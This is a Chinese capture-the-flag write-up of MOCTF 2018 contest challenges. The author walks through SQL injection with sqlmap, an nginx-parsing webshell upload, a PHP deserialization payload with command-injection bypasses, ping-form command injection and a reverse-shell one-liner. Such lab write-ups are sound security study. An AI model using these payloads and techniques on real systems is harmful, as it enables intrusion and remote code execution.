MOCTF新春欢乐赛部分WP

简介: 已经过去有段时间了,比赛在年前,现在才有时间整理一下当时做出的一些题目。当作是一个复习梳理了比赛地址:http://happy.moctf.com/官方所有WP:https://github.

已经过去有段时间了,比赛在年前,现在才有时间整理一下当时做出的一些题目。
当作是一个复习梳理了
比赛地址:http://happy.moctf.com/
官方所有WP:https://github.com/xishir/moctf/tree/master/2018MOCTF

比赛首页.png

0x00是时候让你的手指锻炼一下了

image.png

打开链接的页面内容如下


image.png

查看页面源码发现,最终会调用JS代码生成表单并且提交clicks参数,参数内容为点击的次数,这里可以手动传参108000次即可拿到flag


image.png

image.png

0x01要认真

打开链接,呈现的是一个文章管理系统,题目提示是能够getshell


image.png
image.png

通过各个页面的查看,其中找到show.php查看内容时存在sql注入点


image.png

直接起sqlmap,拿数据库、表和字段内容,得到后台登陆用户和哈希的密码


image.png

通过MD5破解直接拿到明文“moctf6”,之后可以直接登陆后台


image.png
image.png

在后台存在一个文件管理功能模块,存在上传点,通过测试发现,检测了上传文件的后缀,只允许png、jpg等图片格式
查看响应头,发现是nginx服务器


image.png

这里可以利用nginx的解析漏洞来上传执行webshell
详见:http://blog.csdn.net/wn314/article/details/77388289
上传一个内容为php一句话的

image.png

最后利用webshell直接进行操作找flag即可


image.png

0x02PUBG

image.png

访问页面内容是吃鸡既视感


image.png

查看页面源码,没有特别的信息泄露,尝试扫描常见信息泄露,发现存在.bak备份,得到源码


image.png

同样的,class.php也存在bak


image.png

这里需要分析其中的php逻辑,可以看到一个关键点是$p=unserialize($pubg)
而class.php中定义了__wakeup函数和__call函数
其中反序列化得到对象会执行__wakeup函数,而调用不存在的函数会执行到__call中
这里需要绕过__wakeup中的赋值操作,才能在__destruct判断逻辑中去执行Get_air_drops函数,并且去调用__call来执行系统命令
因此需要利用到

CVE-2016-7124反序列化漏洞

最后配合system函数的系统命令执行来拿到flag,其中还需要进行一定程度的命令执行绕过
最终payload为

http://120.78.57.208:6001/index.php?LandIn=school&pubg=O:7:"sheldon":3:{s:3:"bag";s:42:"flag.;a=c;b=a;c=t;$a$b$c ./class/flag.php;";s:6:"weapon";s:3:"AWM";}
image.png

0x03ping一下好吗

image.png

image.png

页面提供了一个ping的目的ip,此题比较简单,可以利用远程命令执行配合DNSLOG拿到执行结果回显
此处反弹shell没有效果

bash -i >& /dev/tcp/ip/port 0>&1

直接命令执行接:

ls|awk 'FNR==n{print}' #这里n是特定数字,输出第n行
image.png

访问此文件既拿到flag


image.png
0x04一万年的爱有多久
image.png

下载得到一个zip压缩包,经过测试,解压后得到的还是一个随机字符串的压缩包,似乎永无止境
于是写脚本进行解压,看看有没有尽头

import zipfile
import os

file_list = os.listdir(r'.')

for file_name in file_list:
    if os.path.splitext(file_name)[1] == '.zip':
        print file_name

        file_zip = zipfile.ZipFile(file_name, 'r')
        for file in file_zip.namelist():
            file_zip.extract(file, r'.')
        file_zip.close()
        os.remove(file_name)`
#!/bin/sh
for i in $(seq 1 100000)
do
python zip.py >/dev/null
done

最后得到解压的结果flag


image.png
0x05Hacker!!!
image.png

下载得到一个流量包文件,使用wireshark进行分析


image.png

通过流量包内容可以看到,记录了一些HTTP请求和响应,其中HTTP请求中的url是SQL盲注
通过分析盲注的结果,可以拿到正确内容的ascii码,最后拼凑得到flag

109 111 99 116 102 123 72 116 116 112 95 49 115 95 100 52 110 103 51 114 73 48 117 53 125
moctf{Http_1s_d4ng3rI0u5}
目录
相关文章
|
安全 开发工具 git
CTF工具隐写分离神器Binwalk安装和详细使用方法
CTF工具隐写分离神器Binwalk安装和详细使用方法
4431 0
理解汇编中的CALL指令和参数传递
理解汇编中的CALL指令和参数传递
698 1
|
存储 安全 Java
🌟Java零基础-反序列化:从入门到精通
【10月更文挑战第21天】本文收录于「滚雪球学Java」专栏,专业攻坚指数级提升,希望能够助你一臂之力,帮你早日登顶实现财富自由🚀;同时,欢迎大家关注&&收藏&&订阅!持续更新中,up!up!up!!
283 5
|
安全 Linux 网络安全
使用D盾扫描Linux主机Webshell
使用D盾扫描Linux主机Webshell
805 0
使用D盾扫描Linux主机Webshell
|
网络协议 JavaScript API
深入浅出 WebSocket:实现实时 web 通信
在现代Web应用中,实时通信至关重要。WebSocket通过单个TCP连接实现全双工通信,允许服务器主动向客户端发送消息。本文介绍了WebSocket的核心概念、实现方法及其优势。WebSocket建立了持久连接,支持实时数据传输,减少服务器负载,并提供双向通信。通过JavaScript API可轻松建立连接、发送接收消息及处理异常。使用WebSocket,开发者能构建更动态的Web应用。
|
开发框架 安全 .NET
Web安全-一句话木马
Web安全-一句话木马
876 5
|
网络协议 Windows
Windows Server 2019 Web服务器搭建
Windows Server 2019 Web服务器搭建
581 0
|
开发框架 安全 应用服务中间件
【文件上传绕过】——解析漏洞_IIS7.0 | IIS7.5 | Nginx的解析漏洞
【文件上传绕过】——解析漏洞_IIS7.0 | IIS7.5 | Nginx的解析漏洞
754 9
|
虚拟化
Kali——环境安装与配置
Kali——环境安装与配置
339 0
|
数据安全/隐私保护
[SWPUCTF 2021 新生赛]原来你也玩原神
[SWPUCTF 2021 新生赛]原来你也玩原神
667 0

热门文章

最新文章